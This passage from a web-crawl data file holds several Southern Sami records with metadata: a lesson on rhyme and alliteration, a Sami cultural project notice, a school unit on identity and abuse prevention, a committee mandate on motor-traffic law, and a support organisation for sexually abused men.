0.02086741477251053}","num_words":499,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jievkehtimmie jïh gaaje\/tjoeje leah vierhkie-vierhtieh mah gïele jïh musihke juekieh. Rijmh jïh jievkehtimmie leah vierhkie-vierhtieh musihkesne, aaj gosse joejkeminie jïh vueline. Lissine tïjji mietie gellie tjaelijh dikth tjaaleme mah rijmadieh jïh vihties jievkehtimmiem utnieh.\nRijme\nRijme lea seammalaakan gaaje jallh tjoeje aktene baakosne jallh gellie baakojne. Gosse mijjieh rijmebe dellie baakoeh nuhtjebe, mah seammalaakan minngiegietjiem utnieh, guktie tjelmie-elmie, raaste-laste. Gosse vierse-boelhke rijme-baakojne orreje aktene diktesne dellie mijjieh rijme-baakoem gietjie-rijmine gåhtjobe. Diktesne Daelvie tjaelije Svein Ole Granefjell gietjie-rijmem nuhtjeme.\nDaelvie\nDaelie lea daelvie jïh lopme båateme\nDaelie lea daelvie jïh bovtsh jåhteme\nDaelvie daelvie jïh biejjie lea vualkeme\nDaelie lea daelvie\nAllitterasjovne\nGååvnese aaj akte såarhte rijme gusnie rijme-baakoeh seamma bokstaavine aelhkieh jieniebinie baakojne. Mijjieh dagkerem rijmem gåhtjobe allitterasjovne jïh diktesne Aellieh maaneme Martha Jåma allitterasjovnem nuhtjeme gosse tjaala:\n- Guhkiem gaatoeh\nElla Holm Bull aaj alliterasjovnem nuhtjie diktesne Suehpeds-laantesne, gosse tjaala:\n- Johkh, jaevrieh restedeminie\nReklaame-almetjh jïh journalisth lyjhkoeh dagkarinie rijmigujmie stååkedidh, men aaj tjaelijh jïh mijjieh jeatjebh. Gellie jiehtegh jïh dïejvesh gååvnesieh mah allitterasjovnh utnieh.\nVuesiehtimmieh:\n- raejeste raajan\n- biejjeste beajjan\n- raasten rastah\n- datne dån\n- aelhkie-aelhkebe\nTjaelije Aasta Joma Granefjell allitterasjovnine stååkedamme daennie diktesne.\nGolme garmeres govsh geajnosne.\nGuvlieh gïeke goesesne. Gïeke gylje: \"Geehtede gierkie gierkesne!\"\nGolme garmeres govsh gesniehtin, goetsedin guktie goesen-baahtsegh geajnose gahtjin.\nJievkehtimmie, mij dïhte?\nGosse mijjieh dikth tjaelebe jïh löövles jïh geehpes baakoe-lïhtsh nuhtjebe dellie daate vihties jievkehtimmie. Gellie dikth daaroen-gielesne leah daan maallen mietie tjaaleme.\nTjaelije Åse Klemetsson jievkehtimmiem jïh gietjie-rijmem nuhtjeme daennie vuesiehtimmesne:\nAkte göökte tjelmieh.\nVuartesjh man tjaebpies elmie.\nGolme, njieljie baernieh.\nDov naan saernieh?\nVïjhte, govhte hierkieh.\nDaate stoerre gierkie.\nTjïjhtje, gaektsie goesh.\nUktsie, luhkie tjåejjieh.\nMov gåaroes åejjie.\nGosse mijjieh dikth lohkebe dellie mijjieh naan baakoeh jeatjahlaakan lohkebe enn mubpieh. Baakoej gaskem bodtetjh utnebe jïh naemhtie tjaalege\/dikte jïjtse jievkehtimmiem åådtje. Gosse naemhtie lohkebe dellie mijjieh goltelæjjide voerkelibie.\nRijme jïh jievkehtimmie\nGosse dikth lohkebe dellie mijjieh dallah vueptiestibie jis rijme jallh jievkehtimmie diktesne. Luste goltelidh gosse gie akt rijmede jallh jievkehtimmiem nuhtjie. Saemien gïelesne aaj jievkehtimmie vihkele. Aelhkebe tjaalegem lohkedh jis dah raajesh jievkehtimmiem utnieh. Rijme jïh jievkehtimmie ektiedimmiem tjaalegisnie skaepiedieh gosse mijjieh gaajem nuhtjebe jallh maam akt mubpesth jiehtebe.\nBaakoeh\nSaemien\nDaaroen\nrijme\nrim\nrijmadidh\nrime\ngietjie-rijme\nenderim\njievkehtimmie\nrytme\nvihties jievkehtimmie\nfast rytme\nektiedimmie\nsammenheng","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:182229\/resource:1:164387","date":"2023-06-06T12:13:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652569.73\/warc\/CC-MAIN-20230606114156-20230606144156-00098.warc.gz","language":"sma","language_score":0.9999269247,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999269247055054}","num_words":363,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AKTENE - Prosjekten leah facebookbielie jïh Youtube-kanaale!\nAktene-prosjekten leah facebookbielie jïh Youtube-kanaale! Daase dej öörnemi bïjre tjaeliejibie, guvvieh jïh bïevnesh bïejijibie. Mïnnh facebookbieliem lyjhkedh, guktie bïevnesh åadtjoeh: https:\/\/www.facebook.com\/Aktene-1517887678305979\/\nProsjekten lea Youtube-kaanale, mïsse videovh prosjekten bïjre bïejijibie. Bïeljelh guktie vielie saernieh prosjekten bïjre åadtjoeh:\nMijjen lea prosjekte -jïh kuvsjeåvtehke\nInterreg-prosjekten \"Aktene\" lea barkije Gun Utsi, gje barka 60 % prosjekte-jïh kuvsjeåvtehkinie 2017-2020.\nGun Utsi edtja Intereg-prosjektem \"AKTENE\" juhtiehtidh, soejkesjidh jïh kuvsjh öörnedh.\nSïjti Jargen jïh Storuman sijhtieh daejnie Interreg-prosjektine «Aktene» aelkedh aktese vyökedh.\nGosse ektesne barkedh dellie mijjen kultuvre jarngesne. Prosjekte lea hevvie daaj beajjetje seabradahkese sjïehtesjovveme, mohte jis jïjtjemh kultuvrem jïh kultuvrearrpiem båetije biejjide nænnoestidh jïh evtiedidh, tjoeveribie vuekiej, voeti jïh dovletji baeliej bïjre lïeredh. Prosjekte kuvsjh, seminaarh jïh arrangementh öörnie.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sijtijarnge.no\/sor\/kontakt-oss\/interreg\/","date":"2023-06-06T08:39:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652494.25\/warc\/CC-MAIN-20230606082037-20230606112037-00775.warc.gz","language":"sma","language_score":0.9999579191,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999579191207886}","num_words":117,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Identiteete, jïjtjeguvvie jïh kultuvre ISK 1.-2. daltese\nLearnLab – identiteete, jïjtjeguvvie jïh kultuvre (LearnLab ISK) edtja baakoetjïertide identiteete, jïjtjeguvvie jïh kultuvre våajnoes darjodh. Teemesne laavenjassh jïh simuleeremh mah edtjieh viehkine årrodh learohkh maehtieh damtijidh jïh baakoetjïerti bïjre soptsestidh goh irhkeme, ruvse, seksualiteete, trïegkenasse jïh vædtsoehvoete. Lïerehtimmie viehkehte goerkesem sjugniedidh baakoetjïertide, jïh ovvaajteles heannadimmieh hööptedh.\nSisvege:\nLearnLab ISK lea tseegkesovveme dej golme jarngebiehkiej bïjre identiteete, ektesne årrodh jïh kråahpe jïh seksualiteete. Dah raajrojne bïejesovveme tjïelke progresjovnine 1. klaassen raejeste dovne jåarhkeskuvle. Teorije lea jïjtjemse damtedh, jïjtjemse mubpine speejjeldidh, joekehtsvoeth våajnoes darjodh jïh dïhte oktegimse akte vieksiesvoete. Prosessi tjïrrh learohkh haastasuvvieh baakoetjïerti bïjre ussjedadtedh jïh dejtie ovmessie ektiedimmine nuhtjedh, guktie maahta vihties kriterijumi sisnjelen dåemiedidh jïh jïjtse raasth bïejedh.\nLohkehtæjjabïhkedimmie fïerhten raajrose jïh fïerhten ööhpehtimmiesoejkesjasse gååvnese.\nIdentiteete\nÖöhpehtimmieboelhki leah jienebh ulmieh, jïjtjemse speejjeldidh aktene dåehkesne jïh vuejnedh maam ulmide dåehkie jïh ovmessie råållah identiteeteevtiedæmman utnieh. Dah persovneles jïh sosijaale identiteetem bæjjese vaeltieh stööremes fokusinie sosijaale identiteetese. Guktie dah mijjen dahkoeh defineerieh jïh gïeh mijjieh libie? Boelhkh aktem gïengelåbpoe goerkesem sjugniedieh identiteetese – mij baaja jïjtjemse baajnehtidh? Boelhki galhkuvisnie edtja ussjedadtedh guktie dah maehtieh sijjen identiteetem vaarjelidh. Soptestalleme, onterdimmie jïh ussjedadteme leah vihkele gaajhkine boelhkine identiteeten bïjre. Daesnie våajnoes dorje man vihkele lea mïsse akt jïh giesie akt ektiedimmiem utnedh, jïh vieksiesvoeten bïjre joekehts årrodh.\nÖöhpehtimmieboelhkh ulmine utnieh goerkesem tseegkedh mijjieh joekehts dovne mïelesne jïh plïeresne. Learohkh edtjieh buerkiestidh mah buerielaakan maehtieh jïh mah baakoeh dah sijhtieh nuhtjedh dej bïjre. Dah edtjieh jïjtsh jïjtjevoeten bïjre ussjedadtedh, mubpide dam soptsestidh jïh vuejnedh mah leah seammalaakan jïh mah leah joekehts klaassesne. Ulmine goerkesem joekehtsidie tseegkedh jïh dejtie ååktedh. Boelhki ulmie aaj jienebe daejredh jïjtje fuelhkien bïjre jïh mubpiej fuelhkiej bïjre, dovne dej maadtoeh, gïelh jïh ovmessie darjomh jïh laavenjassh mah fuelhkie gujht åtna.\nEktesne årrodh (vïenevoete, irhkeme, nedtevihte jïh vædtsoehvoete)\nTeemesne «Ektesne årrodh» vïenevoete, irhkeme, nedtevihte jïh vædtsoehvoete. Learohkh haastasuvvieh jïjtsh gïeleåtnoen bïjre, jïh jïjtsh jïh mubpiej dahkoeh. Feerhmeme jïh identiteete lea vihkeles baakoetjïerth. Daejnie boelhkine soptsestalleme klaassesne vihkele. Vihkele astedh learohki vaestiedassi bïjre soptsestidh, onterdidh, ussjedadtedh jïh såemies lahtesidie guhkiebasse bigkedh.\nDaennie aamhtesisnie «Ektesne årrodh» hov gïetedallijibie guktie buerie voelpine årrodh, laavseme, jïh aanteges vedtedh jïh luejhtedh. Guktie edtja buerie voelpine årrodh? Lab:ine ovmessie tjoeperh jïh gyhtjelassh mah gïengelåbpoe sjïdtieh barkoen mietie. Learohke eadtjaldahta jïjtse gïeleåtnoem måjhtelidh, jïh jïjtse jïh mubpiej dahkoeh gïehtjedidh. Åeliedimmie lea voernges baakoe. Raajrosne jïjnjebh lab:h mah sinsitniem dåeriedieh, men aaj gåarede dejtie sïerrene sinsitneste nuhtjedh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.\nKråahpe jïh seksualiteete\nSisvege raajrosne kråahpe jïh seksualiteete lea ruvse, seksualiteete jïh daaresjimmie. Desnie laavenjassh jïh simuleeremh man åvteste learohkh maehtieh damtijidh jïh baakoeh bïejedh baakoetjïertide goh ruvse, seksualiteete jïh daaresjimmie. Lïerehtimmie goerkesem baakoetjïerti åvteste sjugnede, jïh maahta ovvaajteles heannadimmieh hööptedh.\nJienebh dejstie soejkesjistie ussjedadtemegyhtjelassh utnieh mah maehtieh krïevije årrodh.\nÖöhpehtimmie seksualiteeten bïjre edtja viehkiehtidh guktie maanah jïh noerh leah ryöjredamme ovmessie sosijaale jïh seksuelle tsiehkieh dåastodh hijvenlaakan. Geerve almetji dïedte maanah vaarjelidh. Juktie dam buektiehtidh geerve almetjh tjuerieh jearsoe mierieh jïh sijjiem vedtedh ihke maanah edtjieh doestedh soptsestidh daaresjimmiej bïjre. Maehtebe dam darjodh viehkine aamhtesem seksuelle daaresjimmieh meatan vaeltedh ööhpehtimmesne jïh learoehkidie nuepiem vedtedh ussjedadtedh jïh gyhtjelassh gihtjedh. Maanagujmie seksuelle daaresjimmiej bïjre soptsestidh viehkehte maanaj reaktam vaarjelæmman illedh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/learnlabstagingwebsite-lb-737128648.eu-west-1.elb.amazonaws.com\/no\/laeringsressurser\/sorsamiske-laeringsressurser\/innhold-sorsamisk-1-2-trinn\/identitet-selvbilde-og-kultur-isk\/","date":"2023-10-02T15:06:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00667.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":551,"character_repetition_ratio":0.068,"word_repetition_ratio":0.041,"special_characters_ratio":0.135,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1. Våarome\/Aalkove\nStoerredigkie suehpeden 25.b. 2021 nænnoesti dam mieriedimmiem nr. 973:\n\"Stoerredigkie reerenassem vaajta uvtelassem eevtjedh laakem revideeredh motovrefealadimmien bïjre miehtjesne jïh tjaetsieåerine aajkojne lissiehtamme voenges jïjtjestuvreme jïh vaananamme byråkratije gosse laakem åtna, seamma sienten gosse eatnemem jïh almetji nuepieh ålkone årrodh seatadidh jïh vaarjelidh.\"\nLaaken ruffien 10.b. 1977 nr. 82 motovrefealadimmie miehtjesne jïh tjaetsieåerine (motovrefealadimmielaake) dan mieriedimmiegujmieh aajkoe motovrefealadimmiem miehtjesne jïh tjaetsieåerine reguleeredh sïebredahken elliesvoetevuajnoste man aajkoe \"eatnemebyjresem vaarjelidh jïh murriedimmiem eevtjedh\", mohtedh § 1. Laaken mietie dle ij leah luhpie motovrefealadimmie miehtjesne jïh tjaetsieåerine, bene jis maam akt båata laaken jïjtsistie jallh mieriedimmeste laakevåaromen laakesne. Ij laake sïjhth daerpies fealadimmiem heerredidh jååhkesjamme nåhtoeulmide. Dah leah luhpie, ryöktesth laakevåaromen mietie jallh rïhpestimmien mietie tjïelte maahta dïsse luhpiedidh. Fealadimmie mij ij leah daerpies nåhtoefealadimmie lea luhpehts, bielelen sjïere tsiehkieh. Jaepien 2015 dellie vuesiehtimmien gaavhtan rïhpestamme tjïelth maehtieh loedth nænnoestidh gusnie luhpie lopmeskuvterem rekreasjovnine vuejedh.\nAajkoe motovrefealadimmiem miehtjesne reguleeredh lea voestes iereste dah dåeriesmoerh jïh skaarah dagkere fealadimmie åtna eatnamisnie, juvrejieliemisnie jïh eatnememïnnemisnie. Dïhte gïervebe gïervebe dajvh gaavnedh mah ij leah almetji darjomh tsevtseme. Areaalenåhteme lea stoerre haesteme eatnemegellievoetese. Gallesh gujht lyjhkoeh sjaavohthvoetem eatnememïnnemisnie jïh ij sjïehteladteme eatneme. Seamma sienten motovrefealadimmie miehtjesne vihkeles gallasidie, vuesiehtimmiej gaavhtan jielemetsiehkine, gosse edtjieh hæhtjojde jallh gosse eejehtsdarjomh darjoeh goh jïengesne håagkodh. Naakene sæjhta vuajastahkh motovrine provhkedh rekreasjovnine jïh jielieminie jienebe enn njoelkedassi mietie luhpie daan biejjien. Aaj lea tjuvtjiedamme nasjonaale njoelkedasside, dah byöroeh buerebe vuekiem seatadidh voenges jïjtjestuvreme gosse njoelkedassevïerhkem utnedh.\nMænngan laakem nænnoesti lea låhkoem læssanamme registreereme vuajastahkh motovrine mejgujmie miehtjine feeledh. Seamma sienten lea aaj teknologijeevtiedimmie sïebredahkesne orreme, jïh orre vuekieh eatnamisnie feeledh båetieh eejnegen. Lissine motovreteknologije dan soe varki evtede. Daate evtiedimmie orre nuepieh skaepiedieh, men dïhte aaj orre haestemh skaepede jïh motovrefealadimmienjoelkedassevïerhke mij deadtoven nuelesne.\nDïhte gellie jarkelimmieh njoelkedassevïerhkesne dorjeme mænngan laakem nænnoesti. Sjïere gellie aajnes jarkelimmieh dej minngemes govhte jaepiej. Dah jarkelimmieh leah gaskem jeatjah illemh polariseereme digkiedimmeste mah åssjelh motovrefealadimmie edtja luhpiedidh jïh man jïjnje jarnges nænnoestamme njoelkedassevïerhke maahta gaertjiedidh mah tjïelth maehtieh luhpiedidh.\nJïjnjh aajnes jarkelimmijste vaahra lissehte mijjieh tïjjen mietie åadtjobe fragmenteereme jïh kompliseereme njoelkedassevïerhke mij ij ektenes. Reerenasse dan gaavhtan meala maereles eensi jïh elliesvoeten tjïrrehtimmiem darjodh njoelkedassevïerhkeste, man ulmie illedahke tjïrrehtimmeste åådtje gamte jååhkesjimmiem jïh guhkiem naemhtie provhkesåvva.\n2. Dåeriesmoerh mah edtja moenehtsisnie\/mandaatesne digkiedidh\nMoenehtsem vaajta njoelkedasside goerehtidh motovrefealadimmien bïjre miehtjesne jïh tjaetsieåerine jïh raeriestimmieh dorje jarkelimmide njoelkedassevïerhkesne mij Stoerredigkien stuvremh vaarjelidh mieriedimmesne suehpeden 25.b. 2021 nr. 973 man aajkoe lissiehtamme voenges jïjtjestuvreme jïh vaananamme byråkratije gosse laakem åtna, seamma sienten gosse eatnemem jïh almetji nuepieh ålkone årrodh seatadidh jïh vaarjelidh. Motovrefealadimmielaaken åssjele edtja tjïrkes årrodh. Moenehtse åådtje vuarjasjidh jis raeriestimmieh edtjieh meatan årrodh jarkelimmesne njoelkedassine mah faamosne, jallh orre laakesne.\nStoerredigkien mieriedimmie baakojste lea ajve motovrefealadimmielaaken bïjre. Læjhkan iemie moenehtse aaj goerehtidh jïh juvnehtidh laaken mieriedimmiej bïjre. Moenehtse maahta aaj ektiedimmiem vuarjasjidh dejnie lïhke njoelkedassevïerhkine, vuesiehtimmien gaavhtan soejkesje- jïh bigkemelaake jïh tjïelti areaalesoejkesjimmieh, jis moenehken mietie åajvoeh.\nMoenehtse edtja sjïere vuarjasjidh:\na. Mij lea tjïelti dahkoenuepieh daan biejjien njoelkedassen mietie jïh guktie byöroe njoelkedassevïerhkem hammoedidh guktie ulmiem geehtestidh lissiehtamme tjïelten jïjtjestuvreme jïh vaananamme byråkratije, seamma sienten gosse eatnemem jïh almetji nuepieh ålkone årrodh seatadidh jïh vaarjelidh? Moenehtse tjuara dan raeriestimmieh vuarjasjidh dam tjåenghkies maajsoem båatsosne, eatnemegellievoetesne jïh eatnamisnie mïnnedh jis gellie tjïelth nuhtjieh dej nuepieh vuarjasjidh, mohtede aaj eatnemegellievoetelaake § 10. Moenehtse tjuara aaj vuarjasjimmine goerehtidh haesteme mij båata sovmeme mieriedimmine. Moenehtse tjuara aaj dam tjïelten jïjtjestuvremem seatadidh mij löövles veahka åtna gosse frïjje vïenhtemem pryövedh, mohtede reeremelaaken § 34 mubpie lïhtsesne.\nb. Jis lea våarome lissiehtamme differensijeereme njoelkedassevïerhkesne ovmessie dajvide laantesne vuesiehtimmien gaavhtan histovrijen tsiehkiej gaavhtan, jis daelvie guhkebe j.n.v. Vuarjasjimmie tjuara aevhkieh jïh dåeriesmoerh vååjnehtidh lissiehtamme differensijeereminie jïh ektie nasjonaale njoelkedassh.\nc. Moenehtse maahta aaj dejtie dåeriesmoeride goerehtidh mej bïjre sjïere tsåatskelesvoete orreme dej minngemes jaepiej. Miehtjiesdajvejielemh vuejieh gosse ij leah lopme eatnamisnie, bïenjevuejemen loedth, mah funksjovnegiehpiedimmieh maehtieh motovrefeeleminie feeledh, maahta rïhpestidh hæhtjose skovterinie vuejedh mieriedimmien mietie sijjeste aktelsluhpiedimmie, motovregaarsjelimmiesijjiej mierieh jïh jis edtja frijjevuejemedajvh rïhpestidh.\nd. Jis pryövoeöörnege catskiing byöroe permanente sjïdtedh, pryövoeöörnegen vuarjasjimmien mietie (mij båata jaepien 2022 mietie).\ne. Njoelkedassevïerhke loedth lustestallemevuejeme skovterinie, reektesen mietie \"Løyper for rekreasjonskjøring med snøskuter\" NINA:ste jïh Menon Economics:te 2020, jïh dah juvnehtimmieh dejstie mij Byjresedirektoraate lea departemeentese deelleme voerhtjen 30.b. 2021.\nf. Vuejemen dokumentasjovnekrïevemh mij lea ryöktesth laakesne jallh mieriedimmesne mieriedamme.\ng. Aalkoevistie ij leah moenehtsen mandaatesne njoelkedassh vuartasjidh reaksjovni jïh sanksjovni bïjre gosse motovrefealadimmienjoelkedassevïerhkem meadtaladtedh. Moenehtse maahta læjhkan jarkelimmieh evtiedidh aaj dennie suerkesne jis meala Stoerredigkien bïhkedassh våaromem dïsse vedtieh. Sæjhta teemam vuarjasjidh gosse departemeenten byjresekriminaliteetebïevnesem bæjjese fulkedh. Reerenasse vaajta bysvehtsmoenemem lissiehtidh gosse motovrefealadimmielaakem mïedtelidh jïh vuarjasjidh nænnoste mieriedimmiem staeriedæmman. Dennie vuarjasjimmesne iemie gïehtjedidh guktie ellies njoelkedassevïerhke maahta åssjelem dåarjodh luhpehts vuejemem vaananidh mij eatneme jïh eatnememïnnemem sturredh.\nh. Nuepie digitaale viehkievierhtijste åtnoem lissiehtidh guktie aelhkebe motovrefealadimmiereereme sjædta, dan nuelesne digitaale ohtsemegïetedimmie, digitaale viehkievierhtieh gosse vååksjedidh jïh vaaksjodh. Moenehtse byöroe dellie ussjede dïhte gïerve vaaksjodh jis fealadimmie miehtjesne lea njoelkedassevïerhken mietie.\ni. Njoelkedassevïerhkem aelhkebe darjodh dam lohkedh jïh dan sisnie gaavnedh. Dan sisnie vuarjasjimmie guktie njoelkedassh juakeme laaki jïh mieriedimmiej gaskem. Moenehtse tjuara aaj vuartasjidh guktie jarnges jïh voenges nænnoestimmieh motovrefealadimmien bïjre miehtjesne jïh tjaetsieåerine maehtieh åehpiedehtedh jïh gaajhkh maehtieh bïevnesh dej bïjre gaavnedh, gaskem jeatjah byjjes digitaale kaarhtine. Aaj byöroe moenehtse vuarjesje guktie maahtoe njoelkedassevïerhken bïjre dan nuelesne jarkelimmieh jïh toelhkestimmiejiehtegh njoelkedassevïerhkese, aelhkieslaakan maahta bæjhkoehtidh, vuesiehtimmien gaavhtan bïevnesetjaalegh jallh aktem staaten digitaale portaalem nuhtjedh.\nSïejhme bïhkedassh\nMoenehtse edtja dan goerehtimmiem tjïrrehtidh goerehtimmiebïhkedimmien mietie, mohtede sjïere tsiehkie 2-1 jïh 2-2. Daate sæjhta jiehtedh gaskem jeatjah tjuara dah ekonomeles jïh administratijveles konsekvensh salkehtidh.\nMoenehtse edtja leavloem bïejedh tjïelke njoelkedassh sjugniedidh mah aelhkies dåeriedidh. Daate sæjhta jiehtedh moenehtse åtna tjïelke gïelem, men aaj njoelkedassevïerhke edtja tjyölkehke jïh gaavnoes årrodh, jïh aelkedh dan mietie reeredh.\nDïhte teknologijen evtiedimmie lea vihkeles våarome eventuelle njoelkedassejarkelimmiej åvteste. Moenehtse edtja premissem darjodh motovrefealadimmielaake edtja ennje teknologijeneutraale årrodh. Båatsoereaktesne reakta motovrefeelemasse, mohtede båatsoelaake § 23. Ij edtjh jarkelimmieh raeriestidh mah dam reaktam jarkelieh.\nSalkehtimmie edtja åajvahkommes våaromem utnedh gååvnesamme jïh daan beajjetjen dotkemen jïh maahtoen suerkesne. Dïhte iemie gaskem jeatjah salkehtimmieh gïehtjedidh mah joe dorjeme. Eatnemegellievoetelaaken jarnges prinsihpi mietie, moenehtse tjuara dam bööremes gååvnesamme maahtoem nuhtjedh vuesiehtimmien gaavhtan guktie motovrefealadimmie tsavtsa eatnemem, juvrh jïh eatnememïnnemem, mohtede eatnemegellievoetelaaken § 8. Gusnie moenehtse meala ibie utnieh nuekies maahtoem edtja moenehtse dam tjaeledh, jïh vuesehte \"ååkteme\" prinsihpese eatnemegellievoetelaakesne § 9.\n3. Tjïrrehtimmie\nKlijma- jïh byjresedepartemeente maahta mandaatem lissiehtidh jïh jarkelidh jis daarpesjidh, vuesiehtimmien gaavhtan jis daerpies jeatjah teemah jïh gyhtjelassh meatan vaeltedh guktie jeenjemes sjyöhtehke hammoem jïh ektiedimmiem tjirkedh laakesysteemesne. Moenehtse maahta jïjtje vaajtelidh dagkere jarkelimmiem raereste departemeentine.\nMoenehtse dan jïjtje sekretariaatem åådtje.\nMoenehtse edtja lahtestimmieh sjïehteladtedh sjyöhtehke maahtoebyjresistie. Byöroe aareh vuarjesje jis maereles lahtestimmietjåanghkoeh jallh seminaarh öörnedh jallh jeatjah vuekine vuajnoeh darhkelidh sjyöhtehke byjresijstie. Klijma- jïh byjresedepartemeente sæjhta referansedåehkiem tseegkedh mij maahta laakemoenehtsem viehkiehtidh lahtestimmiejgujmie. Referansedåehkie edtja lïhtsegh utnedh sjyöhtehke organisasjovnijste jïh faagebyjresijstie. Moenehtse edtja sjïehteladtedh referansedåehkie buerie nuepiem åådtje dan vuajnoeh jïh dåeriesmoerh buektedh. Dah åajvahkommes lahtestimmieh referansedåehkeste jïh dej vuarjasjimmieh edtjieh salkehtimmesne meatan årrodh.\nMoenehtse edtja aalkoevåaromem vaeltedh bïhkedimmeste moenehtsebarkoen bïjre staatesne Tjïelte- jïh orrestimmiedepartemeenteste.\nMoenehtse edtja salkehtimmiem Norsk Offentlig Utredning (NOU) hammosne vedtedh åvteli goeven 1.b. 2023.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/motorferdsellovutvalget.no\/mandahta-sorsamisk\/","date":"2023-10-01T12:56:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00899.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":1130,"character_repetition_ratio":0.087,"word_repetition_ratio":0.024,"special_characters_ratio":0.129,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GUKTIE BARKEBE?\nNehtesæjrosne www.utsattmann.no åadtjoeh dah gïeh seksuelle irhkemem dååjrehtamme, dej lïhkesadtjh jïh faagebyjreskh, nimhtemes bïevnesh seksuelle irhkemen bïjre mah leah uvtemesth baerniej jïh gaarmanæjjaj åvteste. Desnie maahtah jeatjebi soptsesh lohkedh, jïh dan aaj gyhtjelasse- jïh vaestiedassedïenesje maam maahta nommen namhtah nuhtjedh.\nLibie baaltevaedtsijh gïeh viehkiehtibie seksuelle irhkeldh almah jïh sijjen lïhkes olmetjh bååstede jarkedh buereben jieliemasse. Mijjen assjaldahken mietie ij guhte gan baalkam buerebe damth goh dïhte guhte jïjtje lea baalkam vaadtseme.\nMijjen leah væjkeles soptsestæjjah gïeh skuvline jïh barkoesmærjojne minnieh, jallh faagebiejjiej meatan. Jïjtjemh soptsesigujmie dååjrehtsigujmie raeriestibie jeatjebh aaj, dej lïhkes olmetjh jïh faagebarkijh måedtieleejnes tsiehkine.\nMijjen soptsesigujmie dunnie daennie meedijisnie, sïjhtebe vååjnesasse buektedh daate seksuelle irhkeme baerniej gaarmanæjjaj vuestie lea alvas stoere jïh geerve aamhtese. Mijjieh jaehkebe dam seksuelle irhkemem galka baakoejgujmie buvvedh ij goh sjeavehthligke baajedh.\nNEHTESÆJROE MIJ HÏEGKEM BEERKIE\nNehtesæjroem www.utsattmann.no tjåadtjoehtidh lea mijjen vihkielommes darjome. Annje leah skaama jïh sjeavehthvoete daejtie aamhtesidie veadtaldihkie jis seksuelle irhkemem lea dååjrehtamme. Jaehkebe aaj sagke geervebe gaarmanæjjide. Jeenjh almah viehkiem åådtjeme seksuelle irhkemen bïjre soptsestidh, juktie tjeakas-ligke jeatjebi dååjrehtsi bïjre bïeseme lohkedh daennie nehtesæjrosne. Åadtjodh daejredh ij leah oktegh, jïh govledh jeatjebh mah seamma tsiehkesne orreme, mah lïjhke bearkanamme jïh buerie jielemem åådtjeme, lea sijjem viehkiehtamme aelkedh vuastalidh ovtetje staalojde. Daelie muvhth dejstie jïjtjh meatan, daam barkoem juhtehteminie.\nBÏEVNESH FAAGEBARKIJIDIE\nHåaloejibie faagebiejjiej jïh barkoesmærjojne, soptsestibie dovne healsoesuerkien faagebarkijidie, NAV:ese jïh skuvlide, gumhtie mijjieh damtebe dah mijjem institusjovnine dåastoehtin jïh maam luvnebe jeatjah-ligke vaajtelamme. Mij akt maahta hijven, men jeenjem badth maahta bueriemdidh aaj. Mijjen ulmie daah darjomh sagke buerebe gelkieh sjïdtedh jïh öörnesovvedh abpe Nöörjem, guktie jeenjebh daam maahtoem luvnieh åadtjodh.\nHEERREDIMMIEBARKOE\nBïevnese-joekedimmie mijjen åejviedarjome. Guessine mïnnebe dovne skuvline jïh jeatjah sijjine gusnie maanah noerh gååvnesieh soptsestidh mijjen dååjrehtsi bïjre. Seksuelle irhkemem galka baakoejgujmie buvvedh ij goh sjeavehth-ligke baajedh. Jis buektiehtibie åadtjodh baernieh jallh nïejth doestedh saarnodh sijjieh seksuelleligke irhkesuvvieh jallh irhkesovveme, dellie libie barkojne læhkaskamme. Daate maahta stuvrehtidh mah dah olmetjh buerie jielemem åadtjoeh. Jïh naemhtie aaj irhkedæjjide tjöödtjehtehtedh.\nORGANISEEREME\n\"Utsattmann\" lea sjïere ideelle organisasjovne mij ij beetneh-beetsuvistie maam vaeltieh. Organisasjovnem ståvroe tjåadtjohte, mij lea biejjieladtje åvtehkem barkose bïejeme mij galka biejjieladtje barkoem juhtiehtidh. Darjomh utnebe dam abpe Nöörjem, men mijjen åejviekontovre Søgnesne. Byjjes beetneh-vierhtieh, lïhtsegemaaksoeh, honoraarh jïh vaaksjome måedtieleejnes 